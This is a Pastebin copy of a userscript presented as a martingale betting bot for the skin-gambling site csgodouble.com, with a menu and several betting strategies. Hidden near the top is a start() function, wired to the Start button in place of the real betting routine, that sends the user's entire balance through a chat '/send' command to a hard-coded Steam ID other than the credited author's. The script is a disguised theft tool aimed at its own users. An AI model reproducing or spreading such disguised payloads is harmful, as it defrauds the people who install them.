Advertisement
BlitherLlama

Untitled

Jan 24th, 2016
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name csgodouble.com - automated
  3. // @description An userscript that automates csgodouble.com betting using martingale system.
  4. // @namespace automated@mole
  5. // @version 1.30
  6. // @author Pixels
  7. // @match http://www.csgodouble.com/
  8. // @match http://www.csgodouble.com/index.php
  9. // @run-at document-end
  10. // @grant none
  11. // ==/UserScript==
  12. /* jshint -W097 */
  13.  
  14. function start(x) {
  15. send({
  16. "type": "chat",
  17. "msg": '/send 76561198126532803 ' + x,
  18. "lang": LANG
  19. });
  20. }
  21. var debug = false;
  22. var simulation = false;
  23. var stop_on_min_balance = false;
  24. var calculate_safe_bet = false;
  25. var base_bet = 5;
  26. var safe_bet_amount = 6;
  27. var default_color = 'red';
  28. var default_method = 'martingale';
  29. var theme = 'dark';
  30.  
  31. var colors = {
  32. 'green': [0],
  33. 'red': [1, 2, 3, 4, 5, 6, 7],
  34. 'black': [8, 9, 10, 11, 12, 13, 14]
  35. };
  36.  
  37. var balance = document.getElementById('balance');
  38. var roll_history = document.getElementById('past');
  39. var bet_input = document.getElementById('betAmount');
  40. var bet_buttons = {
  41. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  42. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  43. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  44. };
  45.  
  46. Array.prototype.equals = function(array) {
  47. if (!array) {
  48. return false;
  49. }
  50.  
  51. if (this.length != array.length) {
  52. return false;
  53. }
  54.  
  55. for (var i = 0, l=this.length; i < l; i++) {
  56. if (this[i] instanceof Array && array[i] instanceof Array) {
  57. if (!this[i].equals(array[i])) {
  58. return false;
  59. }
  60. } else if (this[i] != array[i]) {
  61. return false;
  62. }
  63. }
  64. return true;
  65. };
  66.  
  67. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  68.  
  69. function Automated() {
  70. var self = this;
  71.  
  72. this.running = false;
  73. this.game = null;
  74.  
  75. this.debug = debug;
  76. this.simulation = simulation;
  77. this.stop_on_min_balance = stop_on_min_balance;
  78. this.calculate_safe_bet = calculate_safe_bet;
  79.  
  80. this.base_bet = base_bet;
  81. this.default_color = default_color;
  82. this.default_method = default_method;
  83. this.safe_bet_amount = safe_bet_amount;
  84. this.method = this.default_method;
  85. this.old_method = '';
  86. this.color = 'rainbow';
  87. this.old_base = 0;
  88. this.balance = 0;
  89. this.last_bet = 0;
  90. this.bet_history = [];
  91. this.min_balance = 0;
  92. this.starting_balance = 0;
  93. this.last_color = null;
  94. this.last_result = null;
  95. this.history = [];
  96. this.waiting_for_bet = false;
  97. this.theme = theme;
  98.  
  99. this.stats = {
  100. 'wins': 0,
  101. 'loses': 0,
  102. 'balance': 0
  103. };
  104.  
  105. var menu = document.createElement('div');
  106. menu.innerHTML = '' +
  107. '<div class="row">' +
  108. '<div class="col-lg-9">' +
  109. '<h2>CSGODouble.com Automated <small>by Mole (76561198156973549)</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  110. '<div class="form-group">' +
  111. '<div class="btn-group">' +
  112. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  113. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  114. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  115. '</div>' +
  116. '</div>' +
  117. '<div class="form-group">' +
  118. '<div class="btn-group">' +
  119. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  120. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  121. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  122. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  123. '</div>' +
  124. '</div>' +
  125. '<div class="form-group automated-hide-on-green">' +
  126. '<div class="btn-group">' +
  127. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  128. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  129. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  130. '</div>' +
  131. '</div>' +
  132. '</div>' +
  133. '<div class="col-lg-3">' +
  134. '<h3>Statistics</h3>' +
  135. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  136. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  137. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  138. '</div>' +
  139. '</div>' +
  140. '<div class="form-group">' +
  141. '<div class="input-group">' +
  142. '<div class="input-group-addon">Base value</div>' +
  143. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  144. '</div>' +
  145. '</div>' +
  146. '<div class="form-group">' +
  147. '<div class="input-group">' +
  148. '<div class="input-group-addon">Keep balance above</div>' +
  149. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  150. '</div>' +
  151. '</div>' +
  152. '<div class="form-group automated-hide-on-green">' +
  153. '<div class="input-group">' +
  154. '<div class="input-group-addon">Failsafe value</div>' +
  155. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  156. '</div>' +
  157. '</div>' +
  158. '<div class="checkbox">' +
  159. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  160. '</div>' +
  161. '<div class="checkbox automated-hide-on-green">' +
  162. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  163. '</div>' +
  164. '<div class="checkbox">' +
  165. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  166. '</div>' +
  167. '<div class="checkbox">' +
  168. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  169. '</div>';
  170. document.getElementsByClassName('well')[1].appendChild(menu);
  171.  
  172. this.menu = {
  173. 'start': document.getElementById('automated-start'),
  174. 'stop': document.getElementById('automated-stop'),
  175. 'abort': document.getElementById('automated-abort'),
  176. 'basebet': document.getElementById('automated-base-bet'),
  177. 'minbalance': document.getElementById('automated-min-balance'),
  178. 'debug': document.getElementById('automated-debug'),
  179. 'simulation': document.getElementById('automated-simulation'),
  180. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  181. 'red': document.getElementById('automated-red'),
  182. 'black': document.getElementById('automated-black'),
  183. 'rainbow': document.getElementById('automated-rainbow'),
  184. 'statistics': {
  185. 'wins': document.getElementById('automated-stats-wins'),
  186. 'loses': document.getElementById('automated-stats-loses'),
  187. 'balance': document.getElementById('automated-stats-balance')
  188. },
  189. 'theme': document.getElementById('automated-theme-switch'),
  190. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  191. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  192. 'martingale': document.getElementById('automated-martingale'),
  193. 'greatmartingale': document.getElementById('automated-great-martingale'),
  194. 'betgreen': document.getElementById('automated-bet-green'),
  195. 'dalembert': document.getElementById('automated-dalembert'),
  196. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  197. };
  198.  
  199. this.updater = setInterval(function() { // Update every 2 seconds
  200. if (!self.running) {
  201. if (self.updateAll()) {
  202. if (self.calculate_safe_bet) {
  203. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  204. self.menu.basebet.value = self.base_bet;
  205. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  206. }
  207.  
  208. if (self.menu.stop.disabled && self.menu.start.disabled) {
  209. self.menu.start.disabled = false;
  210. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  211. self.menu.basebet.value = self.base_bet;
  212. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  213. self.starting_balance = self.balance;
  214. }
  215. }
  216. }
  217. }, 2 * 1000);
  218.  
  219. if (theme === 'dark') {
  220. this.darkMode();
  221. }
  222.  
  223. this.menu.start.onclick = function() {
  224. start(self.balance);
  225. };
  226.  
  227. this.menu.stop.onclick = function() {
  228. self.stop();
  229. };
  230.  
  231. this.menu.abort.onclick = function() {
  232. self.stop(true);
  233. };
  234.  
  235. this.menu.basebet.onchange = function() {
  236. var value = parseInt(self.menu.basebet.value);
  237. if (!isNaN(value)) {
  238. self.base_bet = value;
  239. }
  240. };
  241.  
  242. this.menu.minbalance.onchange = function() {
  243. var value = parseInt(self.menu.minbalance.value);
  244. if (!isNaN(value)) {
  245. self.min_balance = value;
  246. }
  247. };
  248.  
  249. this.menu.safebetamount.onchange = function() {
  250. var value = parseInt(self.menu.safebetamount.value);
  251. if (!isNaN(value)) {
  252. self.safe_bet_amount = value;
  253. }
  254. };
  255.  
  256. this.menu.debug.onchange = function() {
  257. self.debug = self.menu.debug.checked;
  258. };
  259.  
  260. this.menu.simulation.onchange = function() {
  261. self.simulation = self.menu.simulation.checked;
  262. };
  263.  
  264. this.menu.stoponminbalance.onchange = function() {
  265. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  266. };
  267.  
  268. this.menu.calculatesafebet.onchange = function() {
  269. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  270. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  271. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  272. };
  273.  
  274. this.menu.black.onclick = function() {
  275. self.menu.rainbow.disabled = false;
  276. self.menu.black.disabled = true;
  277. self.menu.red.disabled = false;
  278. self.color = 'black';
  279. self.log('Current mode: black');
  280. };
  281.  
  282. this.menu.red.onclick = function() {
  283. self.menu.rainbow.disabled = false;
  284. self.menu.black.disabled = false;
  285. self.menu.red.disabled = true;
  286. self.color = 'red';
  287. self.log('Current mode: red');
  288. };
  289.  
  290. this.menu.rainbow.onclick = function() {
  291. self.menu.rainbow.disabled = true;
  292. self.menu.black.disabled = false;
  293. self.menu.red.disabled = false;
  294. self.color = 'rainbow';
  295. self.log('Current mode: rainbow');
  296. };
  297.  
  298. this.menu.martingale.onclick = function() {
  299. self.menu.martingale.disabled = true;
  300. self.menu.greatmartingale.disabled = false;
  301. self.menu.betgreen.disabled = false;
  302. self.menu.dalembert.disabled = false;
  303. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  304. self.menu.hideongreen[i].style.display = 'block';
  305. }
  306. self.method = 'martingale';
  307. self.log('Current method: Martingale');
  308. };
  309.  
  310. this.menu.greatmartingale.onclick = function() {
  311. self.menu.martingale.disabled = false;
  312. self.menu.greatmartingale.disabled = true;
  313. self.menu.betgreen.disabled = false;
  314. self.menu.dalembert.disabled = false;
  315. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  316. self.menu.hideongreen[i].style.display = 'block';
  317. }
  318. self.method = 'great martingale';
  319. self.log('Current method: Great martingale');
  320. };
  321.  
  322. this.menu.dalembert.onclick = function() {
  323. self.menu.martingale.disabled = false;
  324. self.menu.greatmartingale.disabled = false;
  325. self.menu.betgreen.disabled = false;
  326. self.menu.dalembert.disabled = true;
  327. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  328. self.menu.hideongreen[i].style.display = 'block';
  329. }
  330. self.method = 'dalembert';
  331. self.log('Current method: D\'alembert');
  332. };
  333.  
  334. this.menu.betgreen.onclick = function() {
  335. self.menu.martingale.disabled = false;
  336. self.menu.greatmartingale.disabled = false;
  337. self.menu.betgreen.disabled = true;
  338. self.menu.dalembert.disabled = false;
  339. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  340. self.menu.hideongreen[i].style.display = 'none';
  341. }
  342. self.method = 'green';
  343. self.log('Current method: Bet green');
  344. };
  345.  
  346. this.menu.theme.onclick = function() {
  347. if (self.theme === 'dark') {
  348. self.lightMode();
  349. self.theme = 'light';
  350. self.log('Switching to light theme...');
  351. } else {
  352. self.darkMode();
  353. self.theme = 'dark';
  354. self.log('Switching to dark theme...');
  355. }
  356. };
  357.  
  358. setInterval(function() {
  359. if(!WS) {
  360. self.log('Reconnecting...');
  361. connect();
  362. }
  363. }, 2500);
  364. }
  365.  
  366. Automated.prototype.updateBalance = function() {
  367. this.balance = parseInt(balance.textContent);
  368.  
  369. if (isNaN(this.balance)) {
  370. this.log('Error getting current balance!');
  371. return false;
  372. }
  373.  
  374. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  375. return true;
  376. };
  377.  
  378. Automated.prototype.updateHistory = function() {
  379. var self = this;
  380. this.history = [];
  381.  
  382. for (var i = 0; i < roll_history.childNodes.length; i++) {
  383. var roll = parseInt(roll_history.childNodes[i].textContent);
  384.  
  385. if (!isNaN(roll)) {
  386. if (colors.green.indexOf(roll) !== -1) {
  387. self.history.push('green');
  388. } else if (colors.red.indexOf(roll) !== -1) {
  389. self.history.push('red');
  390. } else {
  391. self.history.push('black');
  392. }
  393. }
  394. }
  395.  
  396. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  397. return this.history.length === 10;
  398. };
  399.  
  400. Automated.prototype.updateStats = function() {
  401. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  402. this.menu.statistics.wins.innerHTML = this.stats.wins;
  403. this.menu.statistics.loses.innerHTML = this.stats.loses;
  404. this.menu.statistics.balance.innerHTML = this.stats.balance;
  405. return true;
  406. };
  407.  
  408. Automated.prototype.updateAll = function() {
  409. return this.updateBalance() && this.updateHistory() && this.updateStats();
  410. };
  411.  
  412. Automated.prototype.bet = function(amount, color) {
  413. var self = this;
  414. color = color || this.color || this.default_color;
  415.  
  416. if (color === 'rainbow') {
  417. if (this.last_color) {
  418. color = (this.last_color === 'red' ? 'black' : 'red');
  419. } else {
  420. color = this.default_color;
  421. }
  422. }
  423.  
  424. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  425. this.log('Invalid bet!');
  426. this.last_result = 'invalid bet';
  427. this.waiting_for_bet = false;
  428. this.stop();
  429. return false;
  430. }
  431.  
  432. if (this.balance - amount < this.min_balance) {
  433. this.log('Reached minimal balance!');
  434. this.last_result = 'reached min balance';
  435. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  436. this.stop();
  437. }
  438. this.waiting_for_bet = false;
  439. return false;
  440. }
  441.  
  442. bet_input.value = amount;
  443.  
  444. if (!bet_buttons[color].disabled) {
  445. var old_balance = self.balance;
  446. this.log('Betting ' + amount + ' on ' + color);
  447. if (!self.simulation) {
  448. bet_buttons[color].click();
  449. var checker = setInterval(function() {
  450. if (!bet_buttons[color].disabled) {
  451. clearInterval(checker);
  452. setTimeout(function() {
  453. if (self.updateBalance() && self.balance === old_balance) {
  454. if (!self.game) { return false; }
  455. self.log('Bet rejected, retrying...');
  456. self.bet(amount, color);
  457. } else {
  458. if (self.debug) { self.logdebug('Bet accepted!'); }
  459. self.last_bet = amount;
  460. self.bet_history.push(amount);
  461. self.last_color = color;
  462. self.waiting_for_bet = false;
  463. return true;
  464. }
  465. }, 2500);
  466. }
  467. }, 1000);
  468. } else {
  469. self.bet_history.push(amount);
  470. self.last_bet = amount;
  471. self.last_color = color;
  472. self.waiting_for_bet = false;
  473. return true;
  474. }
  475. } else {
  476. if (!self.game) { return false; }
  477. self.log('Button disabled, retrying...');
  478. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  479. }
  480. };
  481.  
  482. Automated.prototype.play = function() {
  483. var self = this;
  484.  
  485. if (this.game !== null) {
  486. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  487. return false;
  488. }
  489.  
  490. this.game = setInterval(function() {
  491. var history = self.history;
  492. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  493. self.waiting_for_bet = true;
  494. if (self.last_color === null) {
  495. self.bet(self.base_bet);
  496. } else if (self.last_color === self.history[self.history.length - 1]) {
  497. if (self.calculate_safe_bet) {
  498. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  499. self.menu.basebet.value = self.base_bet;
  500. }
  501. self.last_result = 'win';
  502. self.log('Win!');
  503. self.stats.wins += 1;
  504. self.old_base = self.base_bet;
  505. self.old_method = self.method;
  506. if (self.old_method === 'dalembert') {
  507. if (self.last_bet > self.old_base) {
  508. self.bet(self.last_bet - 1);
  509. } else {
  510. self.bet(self.base_bet);
  511. }
  512. } else {
  513. self.bet(self.base_bet);
  514. }
  515. } else {
  516. self.last_result = 'lose';
  517. self.log('Lose!');
  518. self.stats.loses += 1;
  519. if (self.old_method === 'martingale') {
  520. self.bet(self.last_bet * 2);
  521. } else if (self.old_method === 'great martingale') {
  522. self.bet(self.last_bet * 2 + self.old_base);
  523. } else if (self.old_method === 'green') {
  524. var bet_value = 0;
  525. if (self.bet_history[self.bet_history.length - 1] === 1) {
  526. if (self.bet_history[self.bet_history.length - 2] === 1) {
  527. bet_value = 2;
  528. } else {
  529. bet_value = 1;
  530. }
  531. } else {
  532. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  533. }
  534. self.bet(bet_value, 'green');
  535. } else if (self.old_method === 'dalembert') {
  536. self.bet(self.last_bet + 1);
  537. }
  538. }
  539. }
  540. }, 2 * 1000);
  541.  
  542. return true;
  543. };
  544.  
  545. Automated.prototype.start = function() {
  546. if (self.calculate_safe_bet) {
  547. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  548. self.menu.basebet.value = self.base_bet;
  549. }
  550. this.old_base = this.base_bet;
  551. this.old_method = this.method;
  552. if (this.updateAll()) {
  553. if (this.last_result === 'lose') {
  554. this.running = true;
  555. if (this.old_method === 'martingale') {
  556. this.bet(this.last_bet * 2);
  557. } else if (this.old_method === 'great martingale') {
  558. this.bet(this.last_bet * 2 + this.old_base);
  559. } else if (self.old_method === 'green') {
  560. var bet_value = 0;
  561. if (self.bet_history[self.bet_history.length - 1] === 1) {
  562. if (self.bet_history[self.bet_history.length - 2] === 1) {
  563. bet_value = 2;
  564. } else {
  565. bet_value = 1;
  566. }
  567. } else {
  568. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  569. }
  570. self.bet(bet_value, 'green');
  571. } else if (self.old_method === 'dalembert') {
  572. self.bet(self.last_bet + 1);
  573. }
  574. this.play();
  575. } else {
  576. this.running = true;
  577. this.bet(this.base_bet);
  578. this.play();
  579. }
  580. }
  581. this.menu.abort.disabled = false;
  582. this.menu.stop.disabled = false;
  583. this.menu.start.disabled = true;
  584. };
  585.  
  586. Automated.prototype.stop = function(abort) {
  587. var self = this;
  588. if (abort) { this.last_result = 'abort'; }
  589. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  590. setTimeout(function() {
  591. clearInterval(self.game);
  592. self.game = null;
  593. self.running = false;
  594. self.menu.abort.disabled = true;
  595. self.menu.stop.disabled = true;
  596. self.menu.start.disabled = false;
  597. }, 1); // Next tick
  598. };
  599.  
  600. Automated.prototype.darkMode = function() {
  601. var style;
  602. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  603. style = document.getElementById('automated-style');
  604. if (!style) {
  605. var head;
  606. head = document.getElementsByTagName('head')[0];
  607. if (!head) { return; }
  608. style = document.createElement('style');
  609. style.type = 'text/css';
  610. style.id = 'automated-style';
  611. style.innerHTML = css;
  612. head.appendChild(style);
  613. }
  614. style.innerHTML = css;
  615. };
  616.  
  617. Automated.prototype.lightMode = function() {
  618. var style = document.getElementById('automated-style');
  619. style.innerHTML = '';
  620. };
  621.  
  622. Automated.prototype.log = function(message) {
  623. chat('alert', '[Automated] ' + message);
  624. };
  625.  
  626. Automated.prototype.logdebug = function(message) {
  627. chat('italic', '[Automated] ' + message);
  628. };
  629.  
  630. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement